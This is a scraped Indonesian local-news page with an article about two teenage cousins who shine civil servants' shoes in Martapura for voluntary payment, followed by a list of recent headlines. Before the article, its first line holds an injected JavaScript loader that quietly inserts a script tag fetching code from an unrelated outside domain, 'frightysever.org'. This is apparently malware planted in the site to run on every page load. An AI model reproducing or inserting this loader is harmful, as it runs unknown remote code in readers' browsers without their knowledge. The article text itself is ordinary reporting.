(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Ekonomi

Duet Penyedia Jasa Semir Sepatu Ini Dibayar Sukarela


MARTAPURA, Seribu satu macam cari mencari nafkah. Seperti yang dilakukan Yudha dan Imul ‘berduet’ menyelesaikan pekerjaan menyemir sepatu milik beberapa Aparatur Sipil Negara (ASN) di kantor Dinas Pendidikan Kabupaten Banjar, Kamis (18/1).

Dua remaja masih saudara sepupu ini ternyata berasal dari Kota Banjarmasin. Keduanya sengaja menyambangi kota Martapura untuk mengadu nasib mencari sesuap nasi. Kantor demi kantor mereka datangi sambil menawarkan jasa semir sepatu.

“Kami dari Banjarmasin om, ke sini naik taksi,” ujar Yudha yang terlihat begitu cepat membersihkan dan mengkilatkan sepatu.

Kanal Kalimantan memantau, sejumlah ASN yang minta sepatu mereka disemir cukup banyak dan harus antre bergiliran. Mereka mengaku tidak memasang tarif berapa yang harus dibayarkan oleh pemilik sepatu.

“Sukarela saja om, kadang dikasih 5 ribu, kadang ada juga yang memberi 10 ribu, tiap hari hasilnya tidak menentu, kadang banyak kadang sedikit,” katanya.

Lebih jauh dikatakan Yudha, pekerjaan semir sepatu yang dilakukannya ini sudah setahun terakhir, sementara penghasilannya dari jasa ini digunakan untuk keperluan pribadi. “Buat makan om, siang nanti kan bisa lapar, sisanya disimpanlah, biar tidak minta lagi sama orang tua kalau mau jajan,” ucapnya.

Tidak ada rasa malu atau rendah diri yang terlihat dari dua remaja ini karena mereka tahu bahwa pekerjaan jasa semir sepatu ini adalah halal. Mereka penuh percaya diri ketika ditanya apapun terkait profesi yang mereka jalankan saat ini.

Foto : hendera

Namun suasana hening beberapa saat, ketika Kanal Kalimantan menayakan apakah keduanya masih sekolah atau tidak. Keduanya terlihat menundukan wajahnya dengan pandangan ke arah sepatu yang mereka kerjakan. Keheningan itu dipecahkan oleh suara Imul yang mengatakan kalau ia masih sekolah.

“Saya masih sekolah om di SMP terbuka,” kata Imul, sementara Yudha tak bisa menjawabnya.

Usai mengerjakan beberapa pasang sepatu, kedua remaja ini berbenah menyimpan peralatan, kemudian keluar menuju kantor lain sambil tersenyum lebar. (hendera)

 

Reporter : Hendera
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

2 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

15 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

17 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

17 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

19 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

2 hari ago

This website uses cookies.